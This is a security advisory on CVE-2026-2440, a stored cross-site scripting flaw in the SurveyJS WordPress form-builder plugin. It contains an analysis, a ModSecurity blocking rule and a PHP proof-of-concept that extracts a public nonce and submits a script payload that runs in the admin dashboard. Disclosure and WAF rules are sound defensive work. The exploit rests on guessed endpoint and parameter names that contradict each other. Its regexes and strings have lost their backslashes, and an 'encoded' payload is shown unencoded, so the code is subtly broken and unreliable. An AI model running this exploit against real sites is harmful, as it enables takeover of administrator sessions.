Atomic Edge analysis of CVE-2026-2440 (metadata-based):
This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the SurveyJS Drag & Drop Form Builder WordPress plugin, affecting versions up to and including 2.5.3. The vulnerability resides in the plugin’s survey result submission mechanism. Attackers can inject malicious scripts that execute in the WordPress administrator dashboard when viewing survey results. The CVSS 3.1 score of 7.2 (High) reflects its network-based attack vector, low attack complexity, and scope change impact.
Atomic Edge research infers the root cause is a failure to properly sanitize user input and escape output in the context of survey result submissions. The vulnerability description explicitly cites insufficient input sanitization and output escaping. A nonce required for submission is exposed on the public survey page, allowing unauthenticated actors to craft valid requests. The plugin likely accepts HTML-encoded payloads via a POST parameter, stores them in the database, and later decodes and renders them as raw HTML without escaping in the admin panel. These conclusions are inferred from the CWE-79 classification and the public description, as no source code diff is available for confirmation.
Exploitation involves two stages. First, an attacker visits a public survey page created with the plugin to extract a valid nonce value. The attacker then crafts an HTTP POST request to the plugin’s survey submission endpoint, likely `/wp-admin/admin-ajax.php` with an action parameter like `surveyjs_submit_survey`. The payload is an HTML-encoded XSS string (e.g., `alert(document.domain)` encoded as `<script>alert(document.domain)</script>`) submitted within a survey answer parameter. When an administrator later views the collected survey results in `/wp-admin/`, the stored payload is decoded and executed as JavaScript in the admin context.
Remediation requires implementing proper security controls at both the input and output layers. The plugin must validate and sanitize all user-supplied survey data before storage, using functions like `sanitize_text_field` or `wp_kses`. Crucially, any data retrieved from the database and displayed in the admin interface must be escaped on output with functions like `esc_html` or `esc_js`. The nonce should also be validated to ensure it is used only for its intended purpose and context. These measures align with WordPress coding standards for preventing XSS.
The impact of successful exploitation is significant due to the scope change from an unauthenticated public context to the privileged admin context. An attacker can execute arbitrary JavaScript in the administrator’s browser session. This can lead to session hijacking, creation of new administrative accounts, injection of backdoor plugins, site defacement, or data theft from the admin area. The attack is stored, meaning a single malicious submission can compromise every administrator who views the survey results.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-2440 (metadata-based)
# This rule targets unauthenticated XSS payloads submitted via the SurveyJS plugin's AJAX handler.
# It matches the specific AJAX action and checks for HTML-encoded script tags in the 'answers' parameter.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20262440,phase:2,deny,status:403,chain,msg:'CVE-2026-2440: SurveyJS Unauthenticated Stored XSS via AJAX',severity:'CRITICAL',tag:'CVE-2026-2440',tag:'WordPress',tag:'Plugin-SurveyJS',tag:'attack-xss'"
SecRule ARGS_POST:action "@streq surveyjs_submit" "chain"
SecRule ARGS_POST:answers "@rx (<|%3C)scriptb"
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2440 - SurveyJS: Drag & Drop Form Builder <= 2.5.3 - Unauthenticated Stored Cross-Site Scripting
<?php
$target_url = 'https://example.com'; // CHANGE THIS to the target WordPress site URL
// Step 1: Fetch a public survey page to extract the nonce.
// Assumption: The survey page is at a known URL (e.g., a page with the survey shortcode).
// In a real attack, the attacker would first identify this page.
$survey_page_url = $target_url . '/survey-page/';
$ch = curl_init($survey_page_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$html = curl_exec($ch);
curl_close($ch);
// Step 2: Parse the HTML to find the nonce.
// Assumption: The nonce is embedded in the page in a JavaScript variable or a data attribute.
// This regex is a generic example; the actual nonce location may vary.
$nonce = null;
if (preg_match('/"surveyjs_nonce"s*:s*"([a-f0-9]+)"/', $html, $matches)) {
$nonce = $matches[1];
}
if (empty($nonce)) {
die("Could not extract nonce from survey page. The page may not exist or the nonce pattern has changed.");
}
// Step 3: Construct the malicious survey submission.
// Assumption: The plugin uses admin-ajax.php with an action like 'surveyjs_submit'.
// The vulnerable parameter is likely 'survey_data' or 'answers' containing HTML-encoded payload.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$payload = '<script>alert("XSS: "+document.domain)</script>'; // HTML-encoded payload
$post_fields = [
'action' => 'surveyjs_submit', // Inferred action name based on plugin slug
'survey_id' => '1', // Assumed survey ID; attacker would need to discover this
'survey_nonce' => $nonce,
'answers' => json_encode([
['questionId' => '1', 'value' => $payload] // Payload injected into a survey answer
])
];
$ch = curl_init($ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Nonce extracted: $noncen";
echo "Submission HTTP Code: $http_coden";
echo "Response: $responsen";
echo "If successful, the encoded payload is stored. When an admin views survey results, the script executes.n";
?>
